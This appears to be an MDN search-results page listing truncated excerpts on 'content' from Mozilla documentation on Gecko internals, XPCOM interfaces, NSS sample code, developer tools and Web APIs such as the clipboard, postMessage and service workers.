accessibility apis are used by 3rd party software like screen readers, screen magnifiers, and voice dictation software, which need information about document
content and ui controls, as well as important events like changes of focus.
...the nsaccessibletreewalker walks both the dom and anonymous
content in the document, and asks nsiaccessibilityservice::getaccessible() for an accessible for each node.
...calling sequence: how an accessible node is returned by nsiaccessible's traversal methods atk/msaa toolkit traversal method → nsaccessible traversal method → nsaccessibletreewalker method which traverses dom & anonymous
content → nsiaccessibilityservice::getaccessible() with the
content node → nsdocaccessible::getcachedaccessnode() and returns if successful, or → nsiaccessibleprovider::getaccessible() (if xul) or → nsiframe::getaccessible() (if html), which either return nothing or → nsiaccessibilityservice::create[inserttypenamehere]accessible() → operator new, which finally constructs the object.
...And 2 more matches
Multiprocess on Windows
this is true for both chrome and
content processes.
... enter the interceptor to achieve the best of both worlds, we wrote our own code to facilitate the safe handing off of an inbound rpc from the
content process's mta to the
content main thread's sta.
... note: you should register your typelibs and proxies in both the chrome and
content processes.
...And 2 more matches
Error codes returned by Mozilla APIs
ns_error_offline (0x804b0010) ns_error_no_
content (0x804b0011) returned from nsichannel.asyncopen() to indicate that ondataavailable will not be called because there is no
content available.
... ns_error_port_access_not_allowed (0x804b0013) ns_error_net_reset (0x804b0014) ns_error_ftp_login (0x804b0015) ns_error_ftp_cwd (0x804b0016) ns_error_ftp_pasv (0x804b0017) ns_error_ftp_pwd (0x804b0018) ns_error_not_resumable (0x804b0019) ns_error_invalid_
content_encoding (0x804b001b) the
content encoding of the source document was incorrect, for example returning a plain html document advertised as
content-encoding: gzip ns_error_ftp_list (0x804b001c) ns_error_unknown_host (0x804b001e) ns_error_redirect_loop (0x804b001f) ns_error_entity_changed (0x804b0020) ns_error_unknown_proxy_host (0x804b002a) ns_error_unknown_socket_type (0x804...
... ns_error_first_header_field_component_empty (0x804b0022) while parsing for the first component of a header field using syntax such as that for
content-disposition or
content-type, the first component was found to be empty.
...And 2 more matches
Performance best practices for Firefox front-end engineers
this is a special type of
content-only reflow that checks at particular points whether or not it should be interrupted (usually to respond to user events).
... because interruptible reflows can only be interrupted when laying out
content, and not chrome ui, the rest of this section is offered only as context.
... to repeat, only interruptible reflows in web
content can be interrupted.
...And 2 more matches
Embedding Tips
alternatively, implement a nsiuri
contentlistener as described below.
... implement the nsiuri
contentlistener interface, and register it with the appropriate web browser object via the nsiwebbrowser::parenturi
contentlistener attribute.
... watch for changes in nsiuri
contentlistener::onstarturiopen().
...And 2 more matches
IPDL Tutorial
the parent actor is typically the more permanent side of the conversation: parent/child actors parent child ipc tabs chrome process
content process ipc plugins
content process plugin process each protocol is declared in a separate file.
...tint, tdouble, tnscstring, tpplugionscriptableobject }; type type(); void_t& get_void_t(); bool& get_bool(); int& get_int(); double& get_double(); nscstring& get_nscstring(); ppluginscriptableobject* get_ppluginscriptableobject(); }; aunion.type() can be used to determine the type of a union received in an ipdl message handler, with the remaining functions granting access to its
contents.
... chrome to
content calls (for ipc tabs) must only use async semantics.
...And 2 more matches
Following the Android Toasts Tutorial from a JNI Perspective
for instance, we go to android reference :: context and we see: we see that the signature in dot notation is android.
content.context.
... so this will be written as landroid/
content/context;.
... let sig = { context: 'landroid/
content/context;', charsequence; 'ljava/lang/charsequence;', int: 'i', toast: 'landroid/widget/toast;', void: 'v', }; get java environment before we go on to declare the other important features, we need to load our environment variable.
...And 2 more matches
Basics
you can also do other weird and risky things which are not portable, bongo warns, such as mixing mathml with other markups lizard + bongo = ∫ a b d x + mathml and javascript html
content <p> and you can turn to javascript and the dom for dynamic operations.
...sibletimes;</mo> <msup> <mi>x</mi> <mn>2</mn> </msup> <mo>&invisibletimes;</mo> <msup> <mi>y</mi> <mn>3</mn> </msup> </mrow> <mo>+</mo> <mrow> <mn>5</mn> <mo>&invisibletimes;</mo> <mi>x</mi> <mo>&invisibletimes;</mo> <msup> <mi>y</mi> <mn>4</mn> </msup> </mrow> <mo>+</mo> <msup> <mi>y</mi> <mn>5</mn> </msup> </mrow> </maction> </mtd> </mtr> </mtable> </mtd> </mtr> </mtable> </math> </div> css
content .control { text-decoration: none; font-weight: bold; font-size: 200%; } input { color: red; } [class="inputmath"] { border: 1px dotted; } javascript
content function setselection(id,value) { document.getelementbyid(id).setattribute("selection",value); } function expand() { setselection("a11","2"); setselection("a12","2"); setselection("a13","2"); setselection("a21","2"); setselectio...
... mathml button html
content <div style="text-align: center"> <button style="white-space: normal;"> <span style="color: brown;"> for example, <b>click</b> this mathml continued fraction<br/> inside this html button<br /> </span> <math> <mrow> <mfrac> <mi>π</mi> <mn>4</mn> </mfrac> <mo>=</mo> <mfrac numalign="left"> <mstyle scriptlevel="0"> <mn>1</mn> </mstyle> <mstyle scriptlevel="0"> <mrow> <...
...And 2 more matches
TimerFirings logging
-991946880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [
content] chrome://browser/
content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [
content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [
content] http://a.visualrevenue.com/vrs.js:6:9423 these js timers are annotated with [
content] and show the javascript source location where they were created.
... they can come from chrome code within firefox, or from web
content.
... 204 801266240[7f7c1f248000]: [7163] fn timer (one_shot 50 ms): [
content] http://widgets.outbrain.com/outbrain.js:20:330 135 -495057024[7f74e105ba00]: [7108] fn timer (one_shot 4 ms): [
content] https://self-repair.mozilla.org/repair/:7:13669 118 801266240[7f7c1f248000]: [7163] fn timer (one_shot 100 ms): [
content] http://a.visualrevenue.com/vrs.js:6:9423 103 801266240[7f7c1f248000]: [7163] fn timer (one_shot 50 ms): [
content] http://stati...
...And 2 more matches
about:memory
the recipients will be able to view the
contents of this file within about:memory in their own firefox instance.
...�� │ │ │ └──0.05 mb (00.02%) ── property-tables │ │ │ └───9.61 mb (05.01%) ++ (18 tiny) │ │ └───4.39 mb (02.29%) -- js-zone(0x7f69425b5800) │ ├──15.75 mb (08.21%) ++ top(http://techcrunch.com/, id=20) │ ├──12.85 mb (06.69%) ++ top(http://arstechnica.com/, id=14) │ ├───6.40 mb (03.33%) ++ top(chrome://browser/
content/browser.xul, id=3) │ └───3.59 mb (01.87%) ++ (4 tiny) ├───45.74 mb (23.84%) ++ js-non-window ├───33.73 mb (17.58%) ── heap-unclassified ├───22.51 mb (11.73%) ++ heap-overhead ├────6.62 mb (03.45%) ++ images ├────5.82 mb (03.03%) ++ workers/workers(chrome) ├────5.36 mb (02.80%) ++ (16 tiny) ├────4.07 mb (02.12%) ++ sto...
...for example, the "top(http://edition.cnn.com/, id=8)" sub-tree represents the tab open to cnn.com, and "top(chrome://browser/
content/browser.xul, id=3)" represents the main browser ui window.
...And 2 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
-b %s -e %s -o : output file name is not found\n", progname, dbdir, headerfilename, encryptedfilename); validationfailed = pr_true; } if (validationfailed) { fprintf(stderr, "\nusage: %s %s \n\n", progname, "-d -d <dbdirpath> -b <headerfilename> -e <encryptfilename> -o <opfilename>\n"); exit(-1); } } /* * sign the
contents of input file using private key and * return result as secitem */ secstatus signdata(const char *infilename, seckeyprivatekey *pk, secitem *res) { secstatus rv = secfailure; unsigned int nb; unsigned char ibuf[4096]; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infi...
... } if (sigverify) { htype = certvfy; } writetoheaderfile(cert->dercert.data, cert->dercert.len, htype, headerfile); cleanup: if (headerfile) { pr_close(headerfile); } if (cert) { cert_destroycertificate(cert); } return rv; } /* * finds the public key from the certificate saved in the header file * and encrypts with it the
contents of infilename to encryptedfilename.
...pad, headerfile); cleanup: if (headerfile) { pr_close(headerfile); } if (encfile) { pr_close(encfile); } if (infile) { pr_close(infile); } if (pubkey) { seckey_destroypublickey(pubkey); } if (cert) { cert_destroycertificate(cert); } return rv; } /* * finds the private key from db and signs the
contents * of infilename and writes to signaturefilename */ secstatus findkeyandsign(pk11slotinfo *slot, certcertdbhandle* certhandle, secupwdata *pwdata, const char *nicknamestr, const char *headerfilename, const char *infilename) { secstatus rv; prf...
...And 2 more matches
sample2
alidationfailed = pr_true; } if (!outfilename) { pr_fprintf(pr_stderr, "%s -d -d %s -b %s -e %s -o : output file name is not found\n", progname, dbdir, headerfilename, encryptedfilename); validationfailed = pr_true; } if (validationfailed) { fprintf(stderr, "\nusage: %s %s \n\n", progname, "-d -d <dbdirpath> -b <headerfilename> -e <encryptfilename> -o <opfilename>\n"); exit(-1); } } /* * sign the
contents of input file using private key and * return result as secitem */ secstatus signdata(const char *infilename, seckeyprivatekey *pk, secitem *res) { secstatus rv = secfailure; unsigned int nb; unsigned char ibuf[4096]; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_stderr, "unable to ...
... "could not obtain certificate from file\n"); rv = secfailure; goto cleanup; } if (sigverify) { htype = certvfy; } writetoheaderfile(cert->dercert.data, cert->dercert.len, htype, headerfile); cleanup: if (headerfile) { pr_close(headerfile); } if (cert) { cert_destroycertificate(cert); } return rv; } /* * finds the public key from the certificate saved in the header file * and encrypts with it the
contents of infilename to encryptedfilename.
....data = (unsigned char *)pad; paditem.len = sizeof(pad[0]); writetoheaderfile(paditem.data, paditem.len, pad, headerfile); cleanup: if (headerfile) { pr_close(headerfile); } if (encfile) { pr_close(encfile); } if (infile) { pr_close(infile); } if (pubkey) { seckey_destroypublickey(pubkey); } if (cert) { cert_destroycertificate(cert); } return rv; } /* * finds the private key from db and signs the
contents * of infilename and writes to signaturefilename */ secstatus findkeyandsign(pk11slotinfo *slot, certcertdbhandle* certhandle, secupwdata *pwdata, const char *nicknamestr, const char *headerfilename, const char *infilename) { secstatus rv; prfiledesc *headerfile = null; prfiledesc *infile = null; certcertificate *cert = null; unsigned int signaturelen = 0; seckeyprivatekey *privkey = null; secite...
...And 2 more matches
Self-hosted builtins in SpiderMonkey
most importantly, it's possible to invoke any function within the scope of any object using the syntax callfunction(fun, receiver, ...args) (or call
contentfunction, see below), which causes fun to be called within the scope of receiver with ...args as its arguments.
...this restriction was added because otherwise it's extremely easy to accidentally call methods that have been changed by
content, changing the behavior from what was expected.
... if the fun can potentially be a
content-provided function, call
contentfunction has to be used.
...And 2 more matches
JS_NewArrayObject
syntax jsobject * js_newarrayobject(jscontext *cx, const js::handlevaluearray&
contents); // added in spidermonkey 31 jsobject * js_newarrayobject(jscontext *cx, size_t length); // added in spidermonkey 31 jsobject * js_newarrayobject(jscontext *cx, int length, jsval *vector); // obsolete since jsapi 30 name type description cx jscontext * the context in which to create the new array.
...
contents js::handlevaluearray& reference to the initial values for the array's elements.
...obsolete since jsapi 30 description js_newarrayobject with
contents parameter creates a new array object with the specified
contents elements.
...And 2 more matches
SavedFrame
usually this is a
content compartment.
...arrows represent links from child to parent frame,
content.js is from a compartment with
content principals, and chrome.js is from a compartment with chrome principals.
... function a from
content.js | v function b from chrome.js | v function c from
content.js the
content compartment will ever have one view of this stack: a -> c.
...And 2 more matches
AT APIs Support
gecko can render a variety of
content, not just html and supports key web standards such as cascading style sheets, javascript and the w3c dom.
... gecko based applications gecko can be used in two ways to create application: embedded clients embedded clients use gecko only in the
content window, at the moment for html and generic xml only.
... they typically use standard windows controls for their user interface -- the area outside of the client
content window, plus the context menu.
...And 2 more matches
XPCOM changes in Gecko 2.0
on top of that, with the ongoing work to make firefox multithreaded,
content processes either need to register components on a per-process basis, or somehow share a component cache with the chrome process.
...electrolysis
content processes can simply read the component registrations during startup.
...if your add-on depends upon xbl bindings attached to
content objects—for example, the ability to call functions or get and set properties created by the xbl binding—you will need to use the xpcnativewrapper property wrappedjsobject to access wrapped objects.
...And 2 more matches
Introduction to XPCOM for the DOM
the understanding of the
content of this document is a requirement to read the rest of the dom hacking guide.
... here is a simple problem i encountered recently: in a member function of the nshtmlanchorelement class, i had to get a pointer to the nsi
content interface implemented by the nshtmlanchorelement object.
...i had to use the second solution: nscomptr<nsi
content>
content = getter_addrefs(ns_static_cast(nsi
content*, this)); // or, if you want to do the refcounting yourself, nsi
content *
content = ns_static_cast(nsi
content*, this); the second form should be used with care, and is recommended only for advanced xpcom'ers.
...And 2 more matches
Components.utils.cloneInto
example this add-on script creates an object, clones it into the
content window and makes it a property of the
content window global: // add-on script var addonscriptobject = {"greeting" : "hello from add-on"};
contentwindow.addonscriptobject = cloneinto(addonscriptobject,
contentwindow); scripts running in the page can now access the object: // page script button.addeventlistener("click", function() { console.log(window.addonscriptobject.greeting); // "hello ...
...from add-on" }, false); of course, you don't have to assign the clone to the window itself: you can assign it to some other object in the target scope:
contentwindow.foo.addonscriptobject = cloneinto(addonscriptobject,
contentwindow); you can also pass it into a function defined in the page script.
... suppose the page script defines a function like this: // page script function foo(greeting) { console.log("they said: " + greeting.message); } the add-on script can define an object, clone it, and pass it into this function: // add-on script var addonscriptobject = {"message" : "hello from add-on"};
contentwindow.foo(cloneinto(addonscriptobject,
contentwindow)); // "they said: hello from add-on" cloning objects that have functions if the object to be cloned contains functions, you must pass the {clonefunctions:true} flag or you'll get an error.
...And 2 more matches
Components.utils.evalInWindow
this is useful for privileged code, such as add-on code, to access variables and apis defined in web
content.
... even so, while the code is being evaluated it is in the
content's context, so the caller has to be prepared for the possibility that the
content could have redefined behavior (for example, a setter in the script may have been redefined to do something unexpected).
...if this is just native (for example, a dom node), then the function relies on xraywrappers to wrap the returned
content, otherwise the result is structured-cloned.
...And 2 more matches
Observer Notifications
content-document-global-created nsidomwindow origin sent immediately after a web
content document window has been set up, but before any script code has been executed.
... this lets extensions inject api into
content windows as needed (see nsidomglobalpropertyinitializer for an alternative method of doing this).
... message manager topic subject data description message-manager-disconnect nsi
contentframemessagemanager null this notification is sent when a message manager disconnects.
...And 2 more matches
nsIAccessibleRelation
relation_flows_to 0x07
content flows from this object to a target object, that is has
content that flows logically to another object in a sequential way, for example text flow.
... relation_flows_from 0x08
content flows to this object from a target object, that is has
content that flows logically from another object in a sequential way, for example text flow.
...this relation can be used on the objid_client accessible for a top level window to show where the
content areas are.
...And 2 more matches
nsIAnnotationService
supported for use from trusted code, such as extensions, but not from web
content.
... adata binary
contents of the page to save.
... adata binary
contents of the item to save.
...And 2 more matches
nsIDOMNSHTMLDocument
.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring a
contenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); boolean querycommandstate(in domstring commandid); boolean querycommandsupported(in domstring commandid); domstring querycommandtext(in domstring commandid); obsolete since gecko 14.0 domstring querycommandvalue...
...roughly equivalent to body.
contenteditable domain domstring initially the host name of the document's url, but may be changed to the parent (but not top-level) domain in order to facilitate data exchange between documents from different sites in the same domain.
...open() nsidomdocument open( in acstring a
contenttype, in boolean areplace ); parameters a
contenttype the
content type of the new document.
...And 2 more matches
nsIExternalHelperAppService
uriloader/exthandler/nsiexternalhelperappservice.idlscriptable the external helper app service is used for finding and launching platform specific external applications for a given mime
content type.
...to access this service, use: var externalhelperappservice = components.classes["@mozilla.org/uriloader/external-helper-app-service;1"] .getservice(components.interfaces.nsiexternalhelperappservice); method overview boolean applydecodingforextension(in autf8string aextension, in acstring aencodingtype); nsistreamlistener do
content(in acstring amime
contenttype, in nsirequest arequest, in nsiinterfacerequestor awindowcontext, in boolean aforcesave); methods applydecodingforextension() determines whether or not data whose filename has the specified extension should be decoded from the specified encoding type before being saved or delivered to helper applications.
...do
content() binds an external helper application to a stream listener.
...And 2 more matches
nsIFeedEntry
1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description
content nsifeedtextconstruct the full text of the entry's
content.
... this comes from the atom:
content and/or
content:encoded fields.
... media
content nsiarray an array of all the enclosures or other media that might be displayed inline in the entry.
...And 2 more matches
nsIHttpChannel
this flag is ignored if the specified header does not support merging (for example the "
content-type" header can only have one value).
...if this flag is false, then the header value will be replaced with the
contents of avalue.
...this method allows, for example, the html
content sink to inform the http channel about http-equiv headers found in html <meta> tags.
...And 2 more matches
nsIJSON
jsobject decodefromstream(in nsiinputstream stream, in long
contentlength); astring encode(in jsobject value); obsolete since gecko 7.0 astring encodefromjsval(in jsvaljsval value, in jscontext cx); native code only!
... jsobject decodefromstream( in nsiinputstream stream, in long
contentlength ); parameters stream the nsiinputstream from which to read the json string.
...
contentlength the length of the json string to read.
...And 2 more matches
nsIMsgMessageService
objects that implements nsimsgmessageservice give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message
content to eml format string, etc.
...s, in nsimsgfolder srcfolder, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, in nsimsgwindow amsgwindow, out nsiuri aurl); void displaymessage(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in string acharsetoverride, out nsiuri aurl); void openattachment(in string a
contenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedummyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsimsgwindow amsgwindow); void getu...
... void openattachment(in string a
contenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); parameters a
contenttype the
content type of the attachment afilename the name of the attachment.
...And 2 more matches
nsIWebProgressListener
this flag indicates that the request has been targeted, and that the user may start seeing
content corresponding to the request.
...(see below for a description of document requests.) other types of requests, such as requests for inline
content (for example images and stylesheets) are considered normal requests.
...this may mean that the request is being loaded as part of a page in which some
content was received over an insecure channel.
...And 2 more matches
nsIXULBuilderListener
content/xul/templates/public/nsixulbuilderlistener.idlscriptable this object is a listener that will be notified when a template builder rebuilds its
content.
... inherits from: nsisupports last changed in gecko 1.7 method overview void didrebuild(in nsixultemplatebuilder abuilder); void willrebuild(in nsixultemplatebuilder abuilder); methods didrebuild() called after a template builder has rebuilt its
content.
... void didrebuild( in nsixultemplatebuilder abuilder ); parameters abuilder the template builder that has rebuilt the
content.
...And 2 more matches
Using the clipboard
the transferring object will hold the clipboard
contents until the application has decided what it needs.
...if, and only if, you are placing data on the clipboard that is unrelated to web
content the user is viewing, you can pass a null privacy context to the init method.
...that way, you could have a text version and an html version of the
content.
...And 2 more matches
CData
return value a new string object that is a copy of the original string
contents.
... return value a new string object that is a copy of the original string
contents.
...{ // when reading as jschar it assumes max length of 500 // stringptr is either char or jschar, if you know its jschar for sure, pass 2nd arg as true // if known_len is passed, then assumption is not made, at the known_len position in array we will see a null char // i tried getting known_len from stringptr but its not possible, it has be known, i tried this: //"stringptr.
contents.tostring()" "95" //"stringptr.tostring()" "ctypes.unsigned_char.ptr(ctypes.uint64("0x7f73d5c87650"))" // so as we see neither of these is 77, this is for the example of "_scratchpad/entehandle.js at master · noitidart/_scratchpad mdnfirefox" // tries to do read string on stringptr, if it fails then it falls to read as jschar var readjscharstring = function() { ...
...And 2 more matches
DOM Inspector FAQ - Firefox Developer Tools
inspect
content document inspect
content, e.g., unprivileged web pages loaded in a browser tab.
... these nodes are anonymous
content nodes, meaning they are not in the dom generated by the original document.
... you can hide anonymous nodes in inspector by unchecking the view > show anonymous
content menu item.
...And 2 more matches
Browser Toolbox - Firefox Developer Tools
altogether you will have access to the following developer tools: debugger (note: if you want to debug a specific add-on that is restartless or sdk-based then try the add-on debugger.) console style editor performance network monitor page inspector accessibility inspector you can debug chrome: and about: pages using the normal debugger, just as if they were ordinary
content pages.
...the same button appears in the browser toolbox where it lists all the top-level chrome and
content windows as well as any iframes they contain.
... this enables you to inspect documents in individual chrome windows and popups, as well as in
content tabs.
...And 2 more matches
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
dbg.uncaughtexceptionhook = handleuncaughtexception; // find the current tab's main
content window.
... var w = gbrowser.selectedbrowser.
contentwindow; console.log("tracking allocations in page: " + w.location.href); // make that window a debuggee of our debugger.
...</div> <script> function makefactory(type) { return function factory(
content) { var elt = document.createelement(type); elt.text
content =
content; return elt; }; } var divfactory = makefactory('div'); var spanfactory = makefactory('span'); function divsandspans() { for (i = 0; i < 10; i++) { var div = divfactory('div #' + i); div.appendchild(spanfactory('span #' + i)); document.body.appendchild(div); } } funct...
...And 2 more matches
Web Console Helpers - Firefox Developer Tools
you can supply any of the following: a selector string to be passed to document.queryselector to locate the iframe element the iframe element itself the
content window inside the iframe see working with iframes.
... pprint() obsolete since gecko 74 formats the specified value in a readable way; this is useful for dumping the
contents of objects and arrays.
... please refer to the console api for more information about logging from
content.
...And 2 more matches
Determining the dimensions of elements - Web APIs
if you need to know the total amount of space an element occupies, including the width of the visible
content, scrollbars (if any), padding, and border, you want to use the htmlelement.offsetwidth and htmlelement.offsetheight properties.
... what's the size of the displayed
content?
... if you need to know how much space the actual displayed
content takes up, including padding but not including the border, margins, or scrollbars, you want to use the element.clientwidth and element.clientheight properties: how big is the
content?
...And 2 more matches
Clipboard.readText() - Web APIs
the clipboard interface's readtext() method returns a promise which resolves with a copy of the textual
contents of the system clipboard..
... return value a promise that resolves with a domstring containing the textual
contents of the clipboard.
... returns an empty string if the clipboard is empty, does not contain text, or does not include a textual representation among the datatransfer objects representing the clipboard's
contents.
...And 2 more matches
DOMImplementation.createHTMLDocument() - Web APIs
cument() follows: function makedocument() { let frame = document.getelementbyid("theframe"); let doc = document.implementation.createhtmldocument("new document"); let p = doc.createelement("p"); p.innerhtml = "this is a new paragraph."; try { doc.body.appendchild(p); } catch(e) { console.log(e); } // copy the new html document into the frame let destdocument = frame.
contentdocument; let srcnode = doc.documentelement; let newnode = destdocument.importnode(srcnode, true); destdocument.replacechild(newnode, destdocument.documentelement); } the code in lines 4–12 handle creating the new html document and inserting some
content into it.
...lines 5 and 6 create a new paragraph element with some simple
content, and then lines 8–12 handle inserting the new paragraph into the new document.
... line 16 pulls the
contentdocument of the frame; this is the document into which we'll be injecting the new
content.
...And 2 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
dy")[0]; // creates a <table> element and a <tbody> element var tbl = document.createelement("table"); var tblbody = document.createelement("tbody"); // creating all cells for (var i = 0; i < 2; i++) { // creates a table row var row = document.createelement("tr"); for (var j = 0; j < 2; j++) { // create a <td> element and a text node, make the text // node the
contents of the <td>, and put the <td> at // the end of the table row var cell = document.createelement("td"); var celltext = document.createtextnode("cell in row "+i+", column "+j); cell.appendchild(celltext); row.appendchild(cell); } // add the row to the end of the table body tblbody.appendchild(row); } // put the <tbody> in the <table> tbl.appendchild...
...you just need to pass the text
content.
... then, to display the results in this example, it creates a new text node whose
content is the data of myceltext, and appends it as a child of the <body> element.
...And 2 more matches
Element: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with
contenteditable attribute set to true) then the default action is to insert the
contents of the clipboard into the document at the cursor position.
... a handler for this event can access the clipboard
contents by calling getdata() on the event's clipboarddata property.
... to override the default behavior (for example to insert some different data or a transformation of the clipboard
contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
...And 2 more matches
Element.scrollWidth - Web APIs
the element.scrollwidth read-only property is a measurement of the width of an element's
content, including
content not visible on the screen due to overflow.
... the scrollwidth value is equal to the minimum width the element would require in order to fit all the
content in the viewport without using a horizontal scrollbar.
...if the element's
content can fit without a need for horizontal scrollbar, its scrollwidth is equal to clientwidth this property will round the value to an integer.
...And 2 more matches
FileHandle API - Web APIs
the filehandle api allows for the manipulating of files, including creating files and modifying their
content (unlike the file api).
... append : this operation always writes
content at the end of the file.
... // get a lockedfile object from the handle var myfile = myfilehandle.open('readwrite'); // start a writing operation var writing = myfile.append('some
content'); writing.onsuccess = function () { console.log('writing operation successful'); } writing.onerror = function () { console.log('something goes wrong in the writing process: ' + this.error); } reading it's possible to directly write the
content of a lockedfile object without using an intermediate file object and a filereader object.
...And 2 more matches
Drag Operations - Web APIs
here is an example which allows a section of
content to be dragged.
... function ondrop(event) { const data = event.datatransfer.getdata("text/plain"); event.target.text
content = data; event.preventdefault(); } the getdata() method takes one argument, the type of data to retrieve.
...(naturally, though, you would likely know that the right type of data was available, as it was previously checked during a dragover event.) in the example here, once the data has been retrieved, we insert the string as the textual
content of the target.
...And 2 more matches
msPlayToPreferredSourceUri - Web APIs
this enables the playto target device to stream the media
content, which can be drm protected, from a different location, such as a cloud media server.
... syntax ptr = object.msplaytopreferredsourceuri; value msplaytopreferredsourceuri enables a playto reference (a uri or url) for streaming
content on the playto target device from a different location, such as a cloud media server.
... this enables web pages and microsoft store apps to play digital rights management (drm) protected
content.
...And 2 more matches
Navigator.clipboard - Web APIs
the clipboard api adds to the navigator interface the read-only clipboard property, which returns the clipboard object used to read and write the clipboard's
contents.
... examples the following code uses navigator.clipboard to access the system clipboard in order to read the
contents of the clipboard.
... navigator.clipboard.readtext().then( cliptext => document.queryselector(".cliptext").innertext = cliptext); this snippet replaces the
contents of the element whose class is "cliptext" with the text
contents of the clipboard.
...And 2 more matches
Pointer events - Web APIs
much of today's web
content assumes the user's pointing device will be a mouse.
...in fact, the pointerevent interface inherits all of the mouseevent properties, thus facilitating the migration of
content from mouse events to pointer events.
... #target { touch-action: pan-x; } compatibility with mouse events although the pointer event interfaces enable applications to create enhanced user experiences on pointer enabled devices, the reality is the vast majority of today's web
content is designed to only work with mouse input.
...And 2 more matches
SVGAnimatedPathData - Web APIs
name type description animatednormalizedpathseglist svgpathseglist provides access to the current animated
contents of the 'd' attribute in a form where all path data commands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
... animatedpathseglist svgpathseglist provides access to the current animated
contents of the 'd' attribute in a form which matches one-for-one with svg's syntax.
... if the given attribute or property is being animated, contains the current animated value of the attribute or property, and both the object itself and its
contents are read only.
...And 2 more matches
SVGGraphicsElement: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with
contenteditable attribute set to true) then the default action is to insert the
contents of the clipboard into the document at the cursor position.
... a handler for this event can access the clipboard
contents by calling getdata() on the event's clipboarddata property.
... to override the default behavior (for example to insert some different data or a transformation of the clipboard
contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
...And 2 more matches
Using Service Workers - Web APIs
the rest of the
contents of this function is fairly standard xhr stuff, so we won’t worry about that for now.
... next, we use the serviceworkercontainer.register() function to register the service worker for this site, which is just a javascript file residing inside our app (note this is the file's url relative to the origin, not the js file that references it.) the scope parameter is optional, and can be used to specify the subset of your
content that you want the service worker to control.
... in this case, we have specified '/sw-test/', which means all
content under the app's origin.
...And 2 more matches
Using readable streams - Web APIs
the body mixin now includes the body property, which is a simple getter exposing the body
contents as a readable stream.
...the
contents should do whatever is necessary to release access to the stream source.
... note: in order to consume a stream using fetchevent.respondwith(), the enqueued stream
contents must be of type uint8array; for example, encoded using textencoder.
...And 2 more matches
TextRange - Web APIs
for example, when you hold down the mouse to select the
content on the page, you create a typical textrange.
... textrange.htmltext gets or sets the html
content within the textrange.
... textrange.text gets or sets the plaintext
content within the textrange.
...And 2 more matches
Using the Web Speech API - Web APIs
started, there are many event handlers that can be used to retrieve results, and other pieces of surrounding information (see the speechrecognition event handlers list.) the most common one you'll probably use is speechrecognition.onresult, which is fired once a successful result is received: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log('confidence: ' + event.results[0][0].confidence); } the second line here is a bit complex-looking, so let's explain it step by step.
...speechrecognition.onnomatch seems to be supposed to handle the first case mentioned, although note that at the moment it doesn't seem to fire correctly; it just returns whatever was recognised anyway: recognition.onnomatch = function(event) { diagnostic.text
content = 'i didnt recognise that color.'; } speechrecognition.onerror handles cases where there is an actual error with the recognition successfully — the speechrecognitionerror.error property contains the actual error returned: recognition.onerror = function(event) { diagnostic.text
content = 'error occurred in recognition: ' + event.error; } speech synthesis speech synthesis (aka text-to-speech...
...we then loop through this list — for each voice we create an <option> element, set its text
content to display the name of the voice (grabbed from speechsynthesisvoice.name), the language of the voice (grabbed from speechsynthesisvoice.lang), and -- default if the voice is the default voice for the synthesis engine (checked by seeing if speechsynthesisvoice.default returns true.) we also create data- attributes for each option, containing the name and language of the associated voice, so we ca...
...And 2 more matches
window.postMessage() - Web APIs
methods for obtaining such a reference include: window.open (to spawn a new window and then reference it), window.opener (to reference the window that spawned this one), htmliframeelement.
contentwindow (to reference an embedded <iframe> from its parent window), window.parent (to reference the parent window from within an embedded <iframe>), or window.frames + an index value (named or numeric).
...(the other properties have their expected values.) it is not possible for
content or web context scripts to specify a targetorigin to communicate directly with an extension (either the background script or a
content script).
... web or
content scripts can use window.postmessage with a targetorigin of "*" to broadcast to every listener, but this is discouraged, since an extension cannot be certain the origin of such messages, and other listeners (including those you do not control) can listen in.
...And 2 more matches
Sending and Receiving Binary Data - Web APIs
firefox-specific examples this example transmits binary
content asynchronously, using the post method, and firefox's non-standard sendasbinary().
... var req = new xmlhttprequest(); req.open("post", url, true); // set headers and mime-type appropriately req.setrequestheader("
content-length", 741); req.sendasbinary(abody); line 4 sets the
content-length header to 741, indicating that the data is 741 bytes long.
... you can also send binary
